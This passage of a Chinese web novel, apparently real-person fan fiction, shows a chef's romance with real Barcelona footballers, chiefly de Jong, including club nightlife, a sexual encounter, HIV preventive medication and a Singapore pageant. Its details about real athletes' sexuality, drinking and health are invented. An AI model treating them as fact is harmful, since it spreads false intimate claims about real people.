工作是工作,生活是生活,谁要是把工作当全部那纯属没事找罪受,所以骂就骂呗,不服就怼两句。 他也非常清楚自己始终是个绝情孤傲的人,注定一世漂泊,但不影响他享受人间繁华然后做个风流鬼。 可自从捡了阿根廷弟弟,和比利时撕漫男谈了一段恋爱后,他发现自己坠入美丽生活的漩涡,虽然不平静,但让他转不出来。 他终于主动给托马斯去电。 彼时的托马斯正在新加坡排练。 “噢!哥!你终于给我打电话了,我好想你。” 托马斯那边传来吵闹的音乐,依然没压住他兴奋的叫嚷。 “嗯,排练节目呢?”克里奇利一张口没想到自己的声音这么嘶哑,他清了清嗓子。 “是的,一会要走台彩排,你的声音听上去不太对,又喝酒了?” “刚起来而已。”他听见托马斯高昂的声音就能想象到他一脸朝气的样子。 真不错啊,他好像过了生日后瞬间长大了,每天都在忙,和以前破罐子破摔还理直气壮的小傻子完全不同,大概这就是爱情和事业都有起色的缘故,真为他感到高兴。 不过,他还是嘴毒的像被毒蛇咬了,“你那边帅哥美女太多了,你最好别学我,利用美丽的外表去做些越界的事。” “哈…哈哈哈…”这是托马斯听到过最油腻的忠告。 “放心吧,哥,就当你关心我的事业和爱情了,我知道该怎么做,不过还是谢谢你。” 没说几句,托马斯就被舞台导演给叫去台上站队了。 “记得世界先生总决赛收看网络直播啊!” “什么时间…”还没等说完,托马斯就挂了电话。 如果有时间,他想专程到现场去支持他。人人都有亲友后援团,为自己人拉票宣传,托马斯凭实力圈粉,现在也拥有了小几万的粉丝,但是只有亲友才可以持票入场。 克里奇利想到这儿赶紧查一下总决赛的时间,这时他助理又打来电话,说巴萨叫你去开会。 他只好顶着鸡窝头一脸不情愿的爬起来,心想我可真愿意为资本家打工啊,为什么我不能自由点,想去哪就去哪,想接谁的活儿就接谁的活儿,做一个自由职业者。 后来一想,真正的自由不是想干什么就干什么,而是不想干什么就不干! 所以他在巴萨行政后勤会议上面对巴萨提出的试用条件以及奖金浮动规则,只是微微一笑,他说,“我只是为你们季前赛提供有价值的服务,可没说要留下,是我试用巴萨,而不是巴萨试用我。” 如此嚣张的口吻竟然出自一个幕后搞餐饮的,可餐饮是人最重要的需求不是吗。在裹腹的基础上,如果好吃再加上正是你想吃的,那不是给人享受和安慰是什么。 他当然知道昨晚的宴会很成功,不然也不会一大早就把他叫来谈试用期和奖金的问题了。 开了个尴尬的会之后,他还是会尽心尽力的为巴萨球员开小灶,扭转餐厅难吃而球员不得不吃的落后局面,最好再抓住几个关键人物的胃,让他们也像西班牙大鲨鱼一样生猛。 可惜梅西不在这,不然他也能把梅西养成一个威猛先生,让对面的人看见他跑过来就腿肚子打哆嗦。 哈兰德就是这么养起来的。 克里奇利曾经对他说:“你这么瘦不好看。” 哈兰德说:“我不要好看,我要吓人,要多吓人有多吓人的那种。” 克里奇利给他订空运的挪威海鱼,当着他面或者录视频给他看三文鱼分解过程。 相当解压的同时让他相信这就是顶级挪威三文鱼,因为只有挪威三文鱼才有标志性的色泽和细腻紧实的口感,而且一点腥味儿都没有! 他一高兴就生吃对面后卫和门将,像吃三文鱼一样,一口咬一个月牙出来,让人一看就知道是他咬的,别人没这么大嘴。 上个赛季哈兰德以36球摘得英超金靴,只德布劳内的助攻就有12个。 哈兰德激动的不仅给全队送了挪威山妖作为感谢,他说放在家里会辟邪,还给后勤众人发了大红包,还给克里奇利一个大大的熊抱,说你知道吗布莱恩,我一有情绪问题的时候就看你给我发的解鱼视频,太丝滑了,你刀工太好了。 克里奇利说我不仅刀功好,其他攻也不错。 但那个时候正好和德布劳内闹别扭,不然克里奇利就发动他那有的放矢的攻势,品一品挪威海怪的滋味儿了。 想的远了,克里奇利现在还不了解巴萨,昨晚的宴会只是通杀的基本操作而已,迎合了大众口味,收获了还不错的评价,接下来要跟队服务,他必须了解大名单上这些人的口味,来争取一个好极了的五星好评才行。 循窗望去,球员们还在训练,由于是季前赛大家你一脚我一脚的还算轻松。 莱万和德容在对位,互相戏耍对方,德容都快把莱万裤子拽下来了,而莱万不管掉裆的裤子,细碎又急促的脚步准备穿裆过人,被德容识破两腿一夹,差点击中关键部位,引的佩德里和加维在一边笑到模糊。 昨晚是和这些人喝的酒吧。他依稀记得有人说你一定是特别欣赏我才会来参加我们的酒局的,还有人说你眼睛都喝绿了,但他分不清谁说的了。 他正在想着,球员们已经大汗淋漓的走进来,莱万看见他,过于亲密的上前就勾住了他的脖子。 克里奇利有些诧异,他完全忘了昨晚和莱万拉雷子称兄道弟差点拜把子的情景。 “你来啦!布莱恩。” “嗯。” “你还好吗?” “我很好,罗伯特。” “哈哈!我想问你服不服?” “什么?” 克里奇利不知道他说的什么服不服,昨晚都干什么了? 这时德容把莱万拉过来,说了一句,“罗伯特,你总是欺负新朋友,他也不差好吗。” 克里奇利被莱万蹭了一脸的汗,这才反应过来他说的是酒量。 害,他想起来了,昨晚他吐了以后回去他们都倒了一片,还是他和德容送他们上车的。 “罗伯特,运动员还是别喝酒,我下次给你弄点米酿喝喝。” 他刚说完,德容就笑呵呵的钻到他怀里拍了他胸脯一下,然后在他耳边咬着牙轻声说,“别提酒这个字。”说完又哈哈哈的寒暄了几句,就跟着大部队从行政总监的眼皮子底下溜走。 曼城的球员也不敢当着高层讨论昨夜的宿醉,当然巴萨也不行。 克里奇利看了德容一眼,觉得在这一点上,他和德布劳内还是不一样的,德布劳内才不稀的管这些破事,谁被发现喝大酒谁挨罚,反正他是从来不把自己灌醉。 德容管不了就只好帮他们打马虎眼,实在兜不住了就和他们一起挨罚,好几次差点被剥夺队长袖标,硬是被队友们屡次投票给保住,他脾气是真的好。 克里奇利也慢慢想起来,昨晚是德容半抱着他去卫生间吐,他还把胳膊搭在德容的肩膀上对着他撒酒气,不知道胡言乱语了些什么。 那送他回酒店帮他脱衣服的也是这位热心又负责的小队长喽。 他们在浴室洗澡,莱万一直在照镜子,欣赏自己的腹肌胸肌肱二头肌,还发出啧啧的称赞。 突然他拉住德容问他:“你说我这样的肌肉群好看还是布莱恩那样的好看?” 德容皱紧了眉,脸上肌肉抽了抽,说,“你没毛病吧?” “你们这些不愿意露肉的人不懂,健身都是给男人看的,没有对比就没有伤害。” “你怎么知道布莱恩的肌肉好不好看,你看了?” “……”莱万顿了一下,他虽然没看但昨晚搂着布莱恩喝酒基本上摸了个遍,胸肌饱满,腹肌平滑,手臂紧实流畅,应该是个猛男。 “我没看,有机会和他比比。” 他没看,德容可看了,他觉得还是克里奇利的肌肉群好看,薄厚均匀,软硬适中,皮肤不明晃晃的白,也不晒得过头,基本上和脖子以上同色系,白皮透着红,有一点淡淡的浅金色,不同于英国人没有上嘴唇的刻板印象,他嘴唇不薄不厚,唇线性感,微微张开… 德容不受控制的想起昨晚醉酒的克里奇利,赤着身子躺在床上像一件精雕细琢的博物馆艺术品,比例和饱和度都太绝了。 想着想着他就激动了。 第56章 夜色将至,…… 夜色将至,狩猎时间到。 西班牙总给人一种白天炽热奔放,夜晚躁动不安的感觉。 这里有阳光、沙滩、美食以及极负盛名的足球文化,还有灯红酒绿摇曳生姿的夜晚,就像市中心充满艺术气息和工匠精神的地中海建筑一样充满生命力和性张力。 克里奇利知道如何让自己重焕生机,这只不过是第2个伦敦。于是不到2天,他就要出去适应社会了。凭借他优秀的嗅觉和敏感的身份探测雷达,没用多久就找到了根据地。 热浪会所,位于市中心,旁边就是著名的Axel酒店,没错,这里和伦敦的蝴蝶大道一样,是酷儿们的天堂,巴塞罗那的兰布拉大道以及整个街区全是彩虹酒吧以及私人会所。 克里奇利一身深色西装,板正收紧的白衬衫领口系一条黑色领带,看上去像个禁欲系绅士,然而他这么保守的穿搭来到这里会特别想让人像剥洋葱一样把他剥个精光。 他许久都没在这么多人的舞池里跳舞释放自由基了。碰巧今天还赶上变装舞会,不仔细看真的分辨不出来和他跳舞的是男士还是女士。 而在包间里的一个红色沙发上,一双幽蓝的眼睛透过窗帘的缝隙在注视着他。 水晶酒杯里盛的是橘子味的苏打水,在他手中不停地旋转,舞池里那么多人,他眼睛只盯在一处,内心有些焦躁的数着到底有多少人拽过那人的领带,把他塞在腰带下的衬衫一点一点地揉上来,再扶着他的腰大跳贴身舞。 他身上一定沾满了乱七八糟的香水味脂粉味儿和汗臭味。 想到这,男人把橘子味的苏打水一口饮尽,不料还呛了一口,猛烈的咳嗽几声,眼睛都起了雾。 自己跟踪他来这到底什么目的,难道只是确认他是不是新闻里说的有模有样的别人的男友,不过他都来这儿了,可以盖棺定论,而且想必也分开了吧。 那确定了之后呢,再确定他看自己的眼神是不是那个意思,想找一个替代品。 慌了,现在不是他在看自己,而是自己在偷窥他。 下午还和克里奇利说话的德容此刻简直要疯了。 仅仅2天的功夫,从咖啡馆的偶遇,到俱乐部的聚餐,再到今天下午和莱万说起他的身材,以及今晚……哦天哪! 德容看见克里奇利脱了衬衫,只穿一件无袖白T恤,露出他结实硬朗的上臂肌肉。接着他的T恤也被一双游离的手给脱掉,随手扔在卖烟酒小哥的货盘上,小哥还没等反应过来,就被另一个人给拿走了。 拿他衣服干什么,难道要讨个一面之缘? 坐不住了,他突然有一种什么宝贝被人看了的嫉妒感,虽然这个宝贝还不是他的。 他立即起身,不顾保镖的阻拦,带上鸭舌帽就出了包间。 他穿过人群时,不太应景的蓝色运动T恤也被人摸了好几次,他没有直接靠近克里奇利,而是找到手里攥着克里奇利T恤正等着T恤的主人跳完这支舞就来找他的一个年轻“女士”身边,准备出钱来买这件T恤。 “开玩笑呢,先生,这可是我今晚物色的目标。” 年轻“女士”看上去和德容差不多大,也是金发,只是“她”穿着连衣裙,踩着高跟鞋,一开口的声音却很让人意外。 没错,这是一个变装人士。 长相干净甜美的德容一点不输浓妆艳抹的“美女”,虽然有点生气但他也尽量克制自己的脾气,“1000.”他说。 1000买一件背心?这件背心就算是名牌也就100欧出头吧。 但这里的人想要得到某种东西是有特殊目的的。 “2000.” “成交。” 德容得到了这件有着乱七八糟味道的T恤好像获得了什么战利品,他自己都不知道想要接近一个人还用得着去买他的贴身之物。 在遇到克里奇利之前他还是个正常人啊,现在怎么什么定力都没有,甚至连情商智商都跟着掉线。 他把这一切归咎于动感的音乐,迷离的夜色和一个浑身散发性感撩人气息的gay man,难道自己也是queer,性别没完全分化,只在遇到他时得到了二次分化,分化成了一个omega? 什么玩意,德容摸了摸自己的脖子,那里并没有什么突突跳动的腺体,他平时看abo小说看多了。 这个克里奇利太像他看的小说里的男主,因为失恋后信息素紊乱到处乱咬,把一个beta咬的遍体鳞伤,然后不负责任的拂袖而去,还在那个beta分化成omega的时候来嘲讽他,最终因为信息素太过吻合而不得不在易感期腆着b脸求omega让他标记。 他看见小说里这个攻就想把他勾过来,榨干他,叫他这么猖狂,但他怀疑自己只是个beta,这个攻不会看上他的。 现实里,克里奇利就像那个刚失恋的alpha,正在到处释放信息素寻求一个主动让他标记的人,这里的人太多了,一个分心,他就不见了。 地下室里,身躯交错,高低起伏。 德容拿着他的衣服壮着胆走进去。他只在电影里看过这种场面,当激情四射的画面出现在三次里,让大场面先生也禁不住快要流鼻血。 他在狭窄的过道里小心翼翼的穿行,生怕碰到旁边一对对临时cp,终于在走廊的尽头看见了那个高大的身影,廊灯有一个坏掉了,忽明忽暗的灯光照在那人微微泛红的脸上,他正仰着脖子享受他人“服务”。 德容突然又后悔了,他脚步停滞,手里攥着2000块的T恤想找个地方丢掉。 这时有个醉汉撞了他一下,把他的帽子蹭掉了。 他弯腰去捡帽子,那个醉汉就从他身后搂他的腰冒犯他。 “嘿!fuck you!”德容被激怒,用力推了那人一把,直接把这个醉汉推倒在湿滑的地上。 有些大的动静引起克里奇利的注意,他皱紧了眉头,目光中有震惊也有不解。 德容这么大的目标怎么会出现在这里。 一种身份保护意识蹭的一下从他的心胸窜了上来。 以前他不懂得要去保护别人,现在他突然被一场恋爱给教育了一顿,不想再有谁被牵连,但是现在他还不清楚德容为什么会出现在这里。 不管他为什么出现在这里,不可以让他被欺负。 克里奇利拍了拍面前这个卖力男人的肩膀,和他说,我有个熟人对不起。 刚走过去就看见德容已经把那个企图欺负他的醉汉给踢瘸了,后者被另一个高大的黑人大块头给提溜出去了。 德容抓了抓自己的头发,又戴上了帽子。 但人群中窸窸窣窣的好像有人在猜测他的身份,甚至有人试着喊出他的名字。 克里奇利看到他手里还抓着一件看着眼熟的白色背心。 “克莱尔,我都说了不用给我送衣服,我还有。”他故意把他的名字叫的很大声,还脱口叫出了他助理的名字,接着用宽厚的肩膀遮挡住他,揽着他的腰走出了地下室。 他穿上德容递过来的他的白T恤,然后听他语无伦次的解释自己为什么会在这,好像英语失灵了。 他只想问自己的白T恤为什么在他手上。 “那个…我看你的衣服被人偷走了,就想你一会难道要,要光着出去吗,处于为你的担心就把它拿回来了。” “怎么拿回来的?” “别管了。” 他看着克里奇利接过工作人员递给他衬衫和外套,才知道他已经把衣服寄存了,不会光着出去。 他不愧是一个有经验的逛“吧”人士。 克里奇利穿好衣服,低头看向同样低头看他鞋面的德容,突然发现他脸上有一处细小的擦伤。 他捏起了德容的下巴,偏向一侧,仔细看那处伤口,好像过敏了一样有一块发红,还破了点皮。 “啧。”克里奇利有些担忧,谁知道这地方有没有病毒。 他顾不上问他怎么会在这,现在只想带他去医院处理一下。 他匆忙的拉着他的手走出酒吧。 今晚没有月亮,大道上只有被路灯拉长的形影幢幢的树影,腥咸的海风吹过来,树叶发出哗哗的响声。 要是一个人在路上走还有点害怕,要知道这个点的夜路的确不安全,搞不好会遇到飞车d。 德容被他护在里面走,偶尔遇到一两个人他就把胳膊收的紧一紧,生怕怀里的人被人看了去。 德容手机响个不停,他抽空给保镖回了信息,告诉他自己很安全。 好不容易找到一个私人医院,按了半天门铃才叫醒值班医生。 克里奇利对医生说明了情况,德容有些难为情的低着头不说话。 做了一下消毒处理后,为了避免伤口感染,医生给他开了阻断药。 “这种擦伤概率极低,不过为了谨慎起见还是越早服用越好。” 医生给他接了杯水,他也没想太多,听话的把药喝了。 这一宿留院观察,克里奇利也没走,说实话他也挺担心的,毕竟德容是拿着他的衣服来找他,这事跟他也有关。 “你说你没事来这种地方干嘛?还嫌自己不够显眼吗?” 克里奇利把这一路上的担忧转成了焦躁,不知不觉又拿出数落人的语气,完全没有他们才刚认识的拘谨和客气。 “我…”德容心知理亏,他就是来跟踪他的,想确认他的取向,看看他是top还是bottom,单纯的好奇而已。 好奇害死猫,他知道错了,但是他不改。 他拉过被子转过去,皱着眉头发出委屈的一声叹息。 克里奇利抱着肩膀板着脸坐在他对面的椅子上,看着他金灿灿的后脑勺,很想凑过去给他一个吻,安抚他今晚受惊的心。 但他想了想没有这么做,只是抬抬手,拍拍德容的肩膀,语气柔下来,对他说,“别害怕,你一定会没事的,我这么混乱的一个人都没事。” 德容不说话,内心对这个花花公子既有好感又有怨言。 他心思缜密又关心自己的安全,第一时间带自己来就医,否则自己都想不到还有这风险。但是他一点都没有掩饰他风流顽劣的本性,也没表现出对自己的逾越来,难道自己没有德布劳内有魅力,连代餐都代不下去吗? 对于一个真gay来说,一来一往没有进展就是不感兴趣了。 德容这一个晚上可是伤心死了。 第57章 两…… 两场友谊赛,德容一场都没发。 原因很简单,吃了可能会被误判违规的阻断药。 德容像一只受伤的猫,整天窝在家里足不出户,心情也是忐忑不安,虽然医生说问题不大,可还是会担惊受怕,而且也没和俱乐部明说,只说自己不舒服要请假。 他现在最需要的是安慰和支持,可又不敢跟家人朋友说,唯一能说的就是了解他情况的克里奇利。 然而克里奇利跟大部队出去服务客场友谊赛根本不在巴塞罗那,好不容易等到他回来,想对他吐吐苦水,结果他又买票去了新加坡。 但他发给克里奇利的信息都得到了秒回。 克里奇利试图安慰他又不想提这件事,害怕给他造成更大的心理压力,可安慰人的本事他又没有,他只好给他发美食发可爱小猫发搞笑视频,还给他发沿途风光,告诉他我一直都在,别害怕,晚上实在睡不着就吃药。 德容心碎,睡不着就吃药吗? * 两场友谊赛后,巴萨放了3天假,期间正好赶上世界先生总决赛在新加坡举办,克里奇利二话没说就飞去了新加坡。 落地后才给托马斯留言说给他留位置,今晚7点准时到现场给他打call. 托马斯看到后高兴的在后台直接蹦了起来,对他的竞争对手也是认识的新朋友新同事们兴奋的大声嚷嚷,“我有亲友团了!我有亲友团了!” 一众帅哥笑呵呵地看着他,不知道他又用家乡话说些什么。 一激动就说西班牙语,大家也习惯了,上次排练获奖感言,激动地他英语西语都混乱了,就像真夺冠了一样。 他还挺可爱的,他的同事们也都挺喜欢他,竞争之余大家也要合作共赢,彼此之间相处的还算融洽。 因为托马斯可不是什么温顺不咬人的小鹿,他长得甜而已,混过底层社会的,谁整他他整谁。 刚来第一天他的皮鞋就被人动了手脚,走台的时候差点断底;拍游泳视频的时候还被那个巴西的叫库勒的黑皮小孩给压在胳膊底下差点呛水。 这个库勒他看着眼熟,但不是去年他那一批来英国参加初选的,那为什么总和他作对呢,单纯的嫉妒吗?而且他来头也很神秘,说是有大佬资助。 管他呢,托马斯才不当炮灰,要是这么容易被整,岂不是让人家看扁。 他随手拍了一些幕后不太雅观的照片,其中就有库勒往别人脸上扔蛋糕又在镜头前扯人家短裤的镜头,打包匿名发给主办方,主办方大怒,批评他们不允许内部搞不公平竞争,一旦举报成功,立刻取消资格并且通报呈送单位,丢的可是国家的脸。 这是暗地里的,明面上谁要是给他吃亏,他也当场就找回来。 现在,他不仅有英国的国籍,英国的经纪人还有阿根廷赞助商委派的保镖跟着他,他仍代表阿根廷参赛,在参赛人员中有头有面,不再是被人随意拿捏的弱者了。 有手段也没什么。 知道反抗就好。 他哥哥和他队长都告诉过他,一个人在外面的时候,要学会保护自己,保护自己就是要适当的展露锋芒,哪怕是小动作,也决不能吃哑巴亏。 克里奇利到了新加坡国际艺术中心。 参赛者们都集中管理,赛前也没见上面,他的亲友票是托马斯安排助理送过去的。 位置还不错,在观众席的前排靠右边一点。 演出前的灯光转入黑暗,观众席有灯柱扫射。 克里奇利来的匆忙,也没有做应援的姓名牌,他看见别人手里都举着带彩灯的姓名牌,在黑暗中闪闪发光。 他什么准备都没有,像个来看电影的。 世界先生们也在观众席的正中间座位上候场,先和身后的亲友团合影。 托马斯一眼就看到克里奇利,他虽然什么都没拿,可他一身墨色西装搭配红色领带,还戴着个墨镜,看上去像个特邀嘉宾,而且他在一众挥舞手中荧光棒和姓名牌的亲友团里安静的很显眼。 “哥!”托马斯穿过人群,隔着座椅拉住他的手,把他从座位上请下来。 还没等他走下台阶,托马斯就高兴的踮着脚扑进他怀里,紧紧地抱着他。 “稳当点,世界先生。”他笑着拍拍托马斯的背,再低头看他,这小子真的是这块料,颜值没的说,气质也升了好几个level,加上平时喜欢踢踢野球,身材更是没的说,这会谁站在他身边都得被比下去。 “合个影吧,哥。” 托?*? 马斯拉着他站到摄影区,本来就不喜欢在镜头前抛头露面的克里奇利,现在又要在镜头前被小鲜肉比得沧桑,于是始终没摘墨镜。 托马斯笑他装深沉,一把把墨镜给他摘了,架在自己头上,搂着他的腰俏皮的凑到镜头前,伸出一根手指指着他,对着镜头咧嘴笑。 “好了,从我身上找自信呢。”克里奇利又把墨镜拿回来戴上,“时差让我看上去有些憔悴而已。” “不憔悴,很帅!”托马斯仰着脸,眼睛亮晶晶的,精致漂亮的小脸上写满了自信。 “去吧,别掉链子。”大老远来的好像就为了说这句话。 托马斯笑笑,就知道他哥有时候直的可怕。 “好,一会聊。” 一轮一轮的展示充满紧张和悬念,每一轮表演完毕都要公布一下现场得分和网络投票。 亲友团的合影也被同步到官网和直播中。 兄弟俩的合影被大量点赞,托马斯的网络支持率陡然增高。 第一轮公布网络投票和点击率的时候,他还在倒数第三,几轮过后,特别是他介绍完选秀过程以后,大家了解了他的身世,网络上刷起一波阿根廷小麋鹿往前冲的呼声。 在倒数第二轮他已经冲上了第二名。 他没说自己有多惨,他只说在自己迷茫堕落的时候被英国哥哥收养,并且支持他走上选美之路,还要感谢一直看中他资助他等着要回报的另一位哥哥,当然还有让他爱上足球从足球中找到人生真谛的心灵伙伴。 这一切都太幸运了。 最后一轮,他表达了爱国之情,虽然有双重国籍,但始终是阿根廷的儿子,要在这个领域展示风采,把阿根廷的文化魅力展示给大家。 他还赚了一波中国粉丝的支持。 中国粉丝在网络直播中刷起了弹幕。 “我是先认识他哥哥再认识他的。” “他哥哥不就是大名鼎鼎的英国神厨克里奇利吗?” “致力于把中国菜做出名声的老外,我单方面授予他中国饮食文化传播大使。” “你说的是马可波罗吧hhhh” “英国能有马可波罗也是一大幸事。” “他哥是前世界先生吧,长的也太好看了。” “说远了,各位亲,马上投票,准备好小手为阿根廷小麋鹿投票吧!” 由于中国选手陈劲已经荣膺榜首,中国网友们纷纷把第二张投票投给了幸运的阿根廷先生。 最终总决赛锁定了8位世界先生,评选出冠亚季军之后,这8位世界先生将从这8个国家依次开始巡演。 不出意外的话,他们都会获得相当优质的娱乐圈资源。 克里奇利坐在台下支着腮帮子看,有点犯困,这个点他应该在被窝里睡懒觉,直到泳装表演他才打起精神来。 对他来说这不是福利时间吗。 一个个穿着三角泳裤从T台来回走过,美好的身体向人们展示健康和力量,但在克里奇利眼里,这就是白花花的小鲜肉,一口一个,鲜嫩可口。 他的眼珠转来转去,好像在用眼神给他们打分。 当托马斯带着自信和沉稳的脚步走出来时,克里奇利忽然站起来带头吹了一声口哨,紧接着引起掌声雷动,好像托马斯有什么出色的表演征服了现场的观众。 什么都没带也没准备装了一晚上隐形人的蘑菇哥,突然高调带头吹口哨,还带了一波镜头流量。 托马斯微笑着转身,披上国旗,有些害羞的站进队伍里,再和大家一起跳一个集体舞。 跳舞环节直接把克里奇利看乐了。 这帮家伙扭的可真难看。 nice吧里随便一个提溜出来都比他们跳的劲爆,这都是什么老年迪斯科,这一排可都是20岁上下的小年轻,怎么能跳出这么保守这么让人昏昏欲睡的舞蹈来。 噢,这是世界先生,不是脱衣舞秀,他想起来了。 这要是在nice吧里搞什么跳舞大赛,有没有奖金台上都会群魔乱舞,而克里奇利会资助某个看上去还不错的帅哥,让他大秀肌肉,之后再给他额外奖励。 他又想睡觉了,想回去睡,不想在新加坡睡,他要打飞的回巴塞罗那,那天晚上遇见德容时被吓退了的情绪还没得到完全释放呢。 评选结果终于公布了,托马斯夺得了亚军,获得阿根廷世界先生殊荣和奖金80万,还有一个奖杯一个证书。 他高兴地在台上高高举起奖杯,对着他家乡的方向,再转过来对着他的“家人”,眼睛更亮了,没过一会,眼眶就承受不住小珍珠的重量,噼里啪啦地落在他今晚的盛装上。 颁奖典礼结束后,他们还有一个盛大的晚宴。 这种晚宴参加的全是赞助商、背后资助大佬以及官方合作伙伴。 对他们来说是一笔笔巨大的商业资源。 托马斯拿了亚军一定会在晚宴上被争抢,这孩子一门心思往娱乐圈里进,什么人脉都没有,不知道夜这么长,会不会遇到什么贵人或是旧人还是什么怪人。 克里奇利说真的有些担忧,他见过的场面可多了,但都是你情我愿的,那些被利益冲昏头脑的涉世未深的毛头小子可不一定能躲得过某些大佬的追捧和诱惑。 但是他又不能时时刻刻陪在托马斯身边保护他,也不知道该怎么叮咛他,有一点非常重要。 他拉着托马斯到舞台下,为他摘掉头上的金片,握住他的肩膀对他说,“托马斯,你成功了!你现在是名副其实的世界先生,只要你不想的没人可以做你的主,明白吗,你的身份让你尊贵、耀眼和居高临下,我的意思你明白吗?” 托马斯反应了几秒,小脑袋瓜一转,接着深深地点点头。 克里奇利怕他听不懂,又用简单的词语重新说了一遍,“你是成年人了,做事带套!” “噢!哥!!” 第58章 第二天,托马斯请了…… 第二天,托马斯请了一会儿假,亲自送克里奇利去机场。 自从他有了经纪公司以后,事业一路向好,也有了可以支配的人手和保姆车,对此,克里奇利感到很欣慰。 一年不到,深陷泥潭的迷途小鹿已经长出了可以攻击并防御的鹿角,看上去更加帅气伶俐,能够独当一面了。 克里奇利一直都很爱他,关心他,可是从来都没表达过。 他虽做不到长兄如父,但在短短的一年里,硬是凭借毒舌和砸钱把缺爱的小鹿推到正道上去。 在托马斯眼里,他这个哥哥就是嘴硬心软,明明很善良,很重感情,却要装出一副冷漠的无情的混蛋样子,谁也别想感动他,怨恨他,主宰他。 也许只有这样,才能够让自己保持足够的清醒,才能够自始至终孑然一身,不会为了谁而感到幸福,这样也就不会有难过了。 现在他看着托马斯阳光明媚的小脸,感受到他内心巨大的成就感,似乎无法再保持高冷的态度,一路上也笑呵呵的和他分享最近的快乐。 托马斯对他说:“哥,你放心好了,我会努力工作,好好赚钱,让你和德布劳内也能见到点回头钱。” “好,他看人的眼光忽高忽低的,希望他没有看错你。” “别这么说嘛,你们很般配的。而且你们的眼光都不差。” “别说这个了,你和麦卡蒂怎么样?”克里奇利垂眸掩饰住自己有些晦涩的情绪。 “你还关心我的感情生活吗?”托马斯挑眉看了他一眼。 “唉,你想说就说,不想说算了。路上无聊,要不我睡觉?” 他这个哥哥,明明是关心自己,非要死不承认。 “麦卡蒂对我很好,只是我的工作缘故,不能经常和他见面,但我们每天都有联系。” “他会跟我说有关足球的东西,我非常喜欢听,脚也痒痒的。只要我回到曼彻斯特,他就会带着我和他一起踢球,我加入了一个叫蓝盾的足球俱乐部,目前在挂名兼职,今年我们有希望打进职业联赛,所以我两边都不想放弃。” “你这个年纪精力充沛,我像你这么大的时候,为了活下去,曾经在建筑工地做过苦力,一天下来也能赚个三五十。” “不是吧,哥,三五十都养不活自己。” “十几年前三五十就算多的了,那些夜总会跳舞的小男孩也不过是赚一两百,因为我很早就发现自己的top属性,所以是不会去做那些娘娘腔的职业的。” “哥,你又来了,我讨厌你。” “我不是说你是娘娘腔,不过我也有点好奇,你和麦卡蒂谁是左?” “我是左。” 克里奇不说话,但憋不住笑。 “哥,我恨你!”托马斯伸手掐他的脖子,使劲摇晃他,没曾想这个坏哥哥临走时还要挖苦他。 克里奇利甫一落地,就收到了德容发来的信息。 他说:[速来我家!] 吓他一跳,出什么事了,难道检测结果出来了,不太好?没敢问也没敢耽搁,他火速赶过去。 刚一进门就看到德容面色沉重,眼眶深陷,看起来精神不太好。 他最担心的事可千万不要发生啊! 他手里还拿着从机场匆匆买的新加坡万金油,看到德容比他飞了十几个小时都要憔悴,不禁丢下了手里的礼品袋,走上前抱紧了他。 “噗!”德容没憋住笑,揪了揪他后背的衣服。 “我很好。”他说完从手机上打开一张照片,是检测单,上面写着“negative.” 克里奇利看了一眼先是沉默了一下,接着神色恼怒的捏住了他的脸。 “啊呀!你干嘛?!” 德容被他捏的眼泪都要涌出来,使劲把他的手拍掉,搓了搓被他捏痛的腮帮子。 “这种事怎么能开玩笑呢!” 克里奇利板着脸,眉头皱紧,凶巴巴的看着他。 “怎么了,害怕了?” 就好像这事不是发生在自己身上一样,看到克里奇利阴郁的脸反而有种恶作剧成功的快感。 克里奇利没说什么,伸开手就抱紧了他。 手臂一用力就把他抱得脚尖离了地。 “啧。”德容181的个子抱起来感觉还不到140磅(130斤左右)。 “瘦了不少。”克里奇利把他放下,接着走进他家厨房,打开冰箱看了看,没什么好吃的,他摇摇头。 接着拿出手机开始点外送服务。 “干嘛?” 德容走到他身后,自然的脱了他的薄外套,看他在干什么。 “你真是有职业病,来我家是做客的,怎么还要下厨呢?”他看到克里奇利把一些生鲜蔬菜加入购物车。 “你都瘦脱相了,难看,我给你补补。” 克里奇利没看他,继续选购。 突然手机被他一把夺过去了。 “你说我难!看!!”德容举着手机,脸上的晴朗被乌云遮住,他睁圆了眼睛瞪着他,看他怎么解释。 克里奇利站起来,高大的个头立刻把清瘦的德容笼罩,他沉声嗯了一声,靠近他,接着抬手握住了他举着手机的手腕。 德容被他上前的动作给逼退在餐桌旁,后腰顶在了桌沿上。 克里奇利盯着他的眼睛,嘴角微微下压,没有说话,片刻后,另一只手有些粗糙的指腹抚上了他的后颈。 上下摩挲着,带着些许调情,好像某种事情的前奏。 此刻的德容不敢呼吸,好像在猜测他会不会亲自己,是嫌弃自己没入他的眼还是怎么着,怎么都靠这么近了还不亲呢! 克里奇利的身子慢慢向前压,而德容已经没有了后退的空间,他也不想后退,他在跟自己进行一场豪赌,赌自己的魅力能不能拿下他。 德容太高估他了,要不是这三周忙的抬不起头来,他早就登门拜访了,还用得着他说让他来一趟。 巴萨的小队长必须下猛料,猛火爆炒,一步到胃,这样他才能把西班牙的阳光点燃在赛场,让夜晚亮如白昼。 克里奇利的眼睛里立刻燃起了熊熊烈火,揉搓他后颈的手挪到了他的下巴,大拇指指腹粗粝的抚过他的嘴唇,力道没掌握好,竟然伸进了他的嘴里。 “嘶…”他的手指被德容咬住了。 他另一只手还捏着德容的手腕,为了让他松口,罪恶的手伸向了特别逾越的位置。 德容嗷的一声弯下腰,把桌子腿顶的吱嘎挪了位。 接着他也“回敬”他。 两人闹成一团。 德容这段日子过的很郁闷,茶不思饭不想,数着日子过,掉了好几斤称不说,力气都变小了。 他根本不是克里奇利的对手,一个不留神就被克里奇利扛在肩膀上。 “啊!”他以倒栽葱的姿势差点从他后背溜下来,吓得他抓紧了那人的裤腰带。 克里奇利调整了一下,肩膀又硌的他嗷一嗓子。 “不舒服吗?” “嗯…”他被扛着说不出话来。 刚想挣扎着下来就被克里奇利从肩膀上直接调整成背姿,他就像树袋熊一样老老实实的趴在他后背上,双腿还主动勾住他的腰身。 就这样来到他家阳光充足的卧室。 克里奇利刚要坐下把背上的树袋熊扔在床上,谁料小熊爪子不松开还越收越紧,一整个向后仰倒把背着他的壮汉也放倒在床上。 说真的,他还从来没这样放倒过一个人。 克里奇利一点也没客气,躺在他身上不起来,本来就双腿大开的德容被他整个人仰着压倒,又硌了他一下。 “哎哟!疼疼疼…” 他随手抄起枕头来打这个总是碰他软肋的家伙,两人又在床上闹成一团。 克里奇利也跟个小孩子一样,不让负这个活泼过劲儿的金色小考拉,和他展开了枕头大战。 打着打着都出汗了。 “等等,休战。” 德容把枕头举高护住自己的头,向他提出脱衣服时谁也不许打谁。 